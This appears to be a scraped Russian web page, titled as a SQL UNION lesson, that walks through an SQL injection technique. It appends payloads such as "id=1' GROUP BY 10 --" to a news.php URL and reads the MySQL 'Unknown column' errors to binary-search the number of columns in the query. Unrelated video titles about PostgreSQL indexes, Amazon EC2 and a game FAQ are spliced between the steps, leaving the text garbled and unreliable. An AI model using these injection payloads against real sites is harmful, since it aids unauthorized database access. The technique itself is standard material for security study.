Основы SQL. Объединение результатов SQL запросов SELECT в базах данных. SQL запросы SELECT UNION

Опубликовано: 13.08.2017

видео Основы SQL. Объединение результатов SQL запросов SELECT в базах данных. SQL запросы SELECT UNION

Что если? Индексы (INDEX) базы данных в PostgreSQL на примере.

А этот метод основан на подборе количества полей при помощи GROUP BY. Другими словами запрос такового типа:
http://xxx/news.php?id=1' GROUP BY 2 --



Будет отображен без ошибок если количество полей меньше либо равно 2. Тут стоит объяснить, что  GROUP BY 2 - значит "группировать по второму столбцу в запросе", а не "группировать по второму столбцу в таблице", т.к. в таблице столбцы не имеют порядкового номера в принципе.
Делаем запрос такового типа:


Team Render in Amazon EC2: Создание AMI. Русская версия

http://xxx/news.php?id=1' GROUP BY 10 --

Упс... Появилась ошибка типа.
mysql_query(): Unknown column '10' in 'group statement'

Означает столбцов меньше чем 10. Делим 10 на 2. И делаем запрос
http://xxx/news.php?id=1' GROUP BY 5 --

Опа! Ошибки нет - означает количество столбцов больше или равно 5 но меньше чем 10. Сейчас берем среднее значение меж 5 и 10 это выходит вроде 7. Делаем запрос:
http://xxx/news.php?id=1' GROUP BY 7 --
Ой, снова ошибка...
mysql_query(): Unknown column '7' in 'group statement'


FAQ - Инвентарь на Next-rp - часть 1

Означает количество больше или равно 5 но меньше чем 7. Делаем очередной запрос
http://xxx/news.php?id=1' GROUP BY 6 --


Вернуться на главную!

Поделитесь своим мнением

rss